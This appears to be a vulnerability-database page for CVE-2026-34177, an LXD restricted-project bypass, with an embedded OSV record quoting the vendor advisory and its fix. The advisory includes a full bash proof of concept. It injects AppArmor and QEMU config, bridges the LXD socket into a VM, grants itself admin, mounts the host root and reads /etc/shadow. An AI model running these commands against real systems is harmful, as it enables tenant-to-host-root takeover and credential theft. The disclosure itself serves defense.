CVE-2026-34177: LXD VM Lowlevel Restriction Bypass Vulnerability
CRITICALCVE-2026-34177 is a CRITICAL (CVSS 9.1) vm lowlevel restriction bypass vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting LXD libraries in the Go ecosystem. The issue involves vm lowlevel restriction bypass via raw.apparmor and raw.qemu.conf. Remediation is available in the latest vendor maintenance releases.
CVE-2026-34177 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-34177
To remediate this vulnerability, upgrade all affected LXD dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/canonical/lxd to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/canonical/lxd
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-34177, inspect your project dependencies for LXD:
inspect dependencies for github.com/canonical/lxd
Analyze the terminal output to locate any version of LXD in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In LXD, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34177 Affected LXD Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/canonical/lxd
|
Go |
≥ 0.0.0-20210305023314-538ac3df036e
≤ 0.0.0-20260226085519-736f34afb267
|
|
References
Frequently Asked Questions
What is CVE-2026-34177?
Which LXD versions are affected?
What version fixes CVE-2026-34177?
Is github.com/canonical/lxd affected?
What is the CVSS score of CVE-2026-34177?
What CWE is associated with CVE-2026-34177?
How can I check Go dependencies for CVE-2026-34177?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fm2x-c5qw-4h6f",
"modified" : "2026-04-10T19:21:00Z",
"published" : "2026-04-10T19:21:00Z",
"aliases" : [ "CVE-2026-34177" ],
"summary" : "LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf",
"details" : "## Summary\n\nThe `isVMLowLevelOptionForbidden` function in `lxd/project/limits/permissions.go` is missing `raw.apparmor` and `raw.qemu.conf` from its hardcoded forbidden list. A user with `can_edit` permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the `restricted.virtual-machines.lowlevel=block` project restriction, which is the security control specifically designed to prevent raw config injection.\n\n## Details\n\n### Affected code\n\nThe enforcement point for VM lowlevel restrictions is `isVMLowLevelOptionForbidden` at `lxd/project/limits/permissions.go:924-926`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n return slices.Contains([]string{\"boot.host_shutdown_timeout\", \"limits.memory.hugepages\", \"raw.idmap\", \"raw.qemu\"}, key)\n}\n```\n\nThis list is missing two security-critical config keys:\n\n- **`raw.apparmor`** -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile\n- **`raw.qemu.conf`** -- allows injecting arbitrary sections into the QEMU configuration file\n\nThe container equivalent (`isContainerLowLevelOptionForbidden` at line 916) correctly includes `raw.apparmor` in its forbidden list.\n\n### Attack mechanism\n\nBoth `raw.apparmor` and `raw.qemu.conf` are valid VM config keys (defined in `lxd/instance/instancetype/instance.go`). When a restricted user sets them on a VM in a project with `restricted.virtual-machines.lowlevel=block`, the entity config checker at line 779 calls `isVMLowLevelOptionForbidden` for each key, which returns `false` for both. The config is accepted without error.\n\nOn VM startup:\n\n1. `instanceProfile` (`lxd/apparmor/instance.go:150`) reads `raw.apparmor` from the expanded config and injects it verbatim into the QEMU AppArmor profile template (`lxd/apparmor/instance_qemu.go:114-118`). An attacker-supplied rule like `/var/snap/lxd/common/lxd/unix.socket rw,` grants the QEMU process read-write access to the LXD unix socket.\n\n2. `qemuRawCfgOverride` (`lxd/instance/drivers/driver_qemu_config_override.go:242`) reads `raw.qemu.conf` and appends new sections to the generated QEMU config. The attacker adds a `[chardev]` section with `backend = \"socket\"` pointing at the LXD unix socket, and a `[device]` section creating a `virtserialport` connected to it.\n\n3. QEMU starts with `-readconfig` containing the injected drive definition. The QEMU process connects to `/var/snap/lxd/common/lxd/unix.socket` (permitted by the injected AppArmor rule) and exposes the connection as `/dev/virtio-ports/lxd.exploit` inside the VM.\n\nThe exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.\n\n### Affected deployments\n\nAny LXD deployment where:\n\n- A project has `restricted=true` and `restricted.virtual-machines.lowlevel=block` (the default when `restricted=true`)\n- A user has `can_edit` on a VM instance in that project (also implied by project-level `operator`, `can_edit_instances`, or `instance_manager` entitlements)\n\nThe minimum required entitlements are `can_create_instances` (to create a VM), `can_edit` on the instance (to set config keys -- `lxc config set`), `can_update_state` (to start the VM), and `can_exec` (to read the block device from inside the VM). Any of the broader project-level roles (`operator`, `instance_manager`) include all of these.\n\nThis includes the `lxd-user` multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects \"prevent users from gaining root access\" (`doc/howto/projects_confine.md`).\n\n### Version\n\nTested and confirmed on LXD 6.7.\n\n## PoC\n\nThe exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.\n\n### Admin setup (run on the LXD host)\n\n```bash\n# Create restricted project\n# restricted.virtual-machines.lowlevel defaults to \"block\" when restricted=true\nlxc project create poc-restricted \\\n -c features.profiles=true \\\n -c features.images=false \\\n -c restricted=true\n\n# Create default profile with storage and network\nlxc profile create default --project poc-restricted\nlxc profile device add default root disk path=/ pool=default --project poc-restricted\nlxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted\n\n# Create auth group with minimum entitlements needed for the exploit:\n# can_view - required to reference the project in other permissions\n# can_create_instances - create the VM\n# can_edit_instances - set config keys (implies can_edit on all instances)\n# can_operate_instances - start the VM and exec into it (implies can_update_state + can_exec)\n# These are baseline permissions for any user who manages VMs in a project.\n# None of these grant permission to edit the project configuration itself.\nlxc auth group create vm-operators\nlxc auth group permission add vm-operators project poc-restricted can_view\nlxc auth group permission add vm-operators project poc-restricted can_create_instances\nlxc auth group permission add vm-operators project poc-restricted can_edit_instances\nlxc auth group permission add vm-operators project poc-restricted can_operate_instances\n\n# Create restricted user identity\nlxc auth identity create tls/alice --group vm-operators\n# Give the output token to alice\n```\n\n### Exploit (run as the restricted user \"alice\", from her own machine)\n\n```bash\n# Alice adds the remote using the token from admin setup\nlxc remote add target <token>\n\nREMOTE=\"target\"\nPROJECT=\"poc-restricted\"\nVM=\"poc-069\"\nSOCKET=\"/var/snap/lxd/common/lxd/unix.socket\"\n\n# Create a stopped VM\nlxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}\n\n# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.\n# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.\nlxc config set ${REMOTE}:${VM} raw.apparmor \\\n \" ${SOCKET} rw,\" --project ${PROJECT}\n\n# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.\n# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.\nlxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev \"lxdsock\"]\nbackend = \"socket\"\npath = \"/var/snap/lxd/common/lxd/unix.socket\"\n\n[device \"lxdchan\"]\ndriver = \"virtserialport\"\nchardev = \"lxdsock\"\nbus = \"dev-qemu_serial.0\"\nname = \"lxd.exploit\"' --project ${PROJECT}\n\n# Start VM -- QEMU connects to the unix socket at startup.\nlxc start ${REMOTE}:${VM} --project ${PROJECT}\nsleep 30\n\n# Elevate privileges to admin\n# (add the \"admin\" entitlement to alice's group)\nlxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c '\napt install -y socat curl\nsocat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit &\nsleep 1\ncurl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \\\n -X PUT -H \"Content-Type: application/json\" \\\n -d \"{\\\"description\\\":\\\"\\\",\\\"permissions\\\":[{\\\"entity_type\\\":\\\"server\\\",\\\"url\\\":\\\"/1.0\\\",\\\"entitlement\\\":\\\"admin\\\"}]}\"\n'\n\n# Create privileged container and mount root filesystem\nlxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default\nlxc config set ${REMOTE}:pwn-root security.privileged=true --project default\nlxc config device add ${REMOTE}:pwn-root hostroot disk \\\n source=/ path=/mnt/host --project default\nlxc start ${REMOTE}:pwn-root --project default\n\n# Full host root access\nlxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow\n```\n\n## Impact\n\n**Privilege escalation from restricted project user to host root.**\n\nThe full attack chain is: restricted VM user --> `raw.apparmor` + `raw.qemu.conf` injection (bypasses `restricted.virtual-machines.lowlevel=block`) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds `admin` entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.\n\nThis affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only `can_edit` on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.\n\nThe exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.\n\n## Remediation\n\nAdd `raw.apparmor` and `raw.qemu.conf` to the forbidden list in `isVMLowLevelOptionForbidden`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n return slices.Contains([]string{\n \"boot.host_shutdown_timeout\",\n \"limits.memory.hugepages\",\n \"raw.apparmor\",\n \"raw.idmap\",\n \"raw.qemu\",\n \"raw.qemu.conf\",\n }, key)\n}\n```\n\n### Patches\n\n| LXD Series | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n| 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/canonical/lxd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.0.0-20210305023314-538ac3df036e"
}, {
"last_affected" : "0.0.0-20260226085519-736f34afb267"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/canonical/lxd/security/advisories/GHSA-fm2x-c5qw-4h6f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34177"
}, {
"type" : "WEB",
"url" : "https://github.com/canonical/lxd/pull/17909"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/canonical/lxd"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T19:21:00Z",
"nvd_published_at" : "2026-04-09T10:16:21Z"
}
}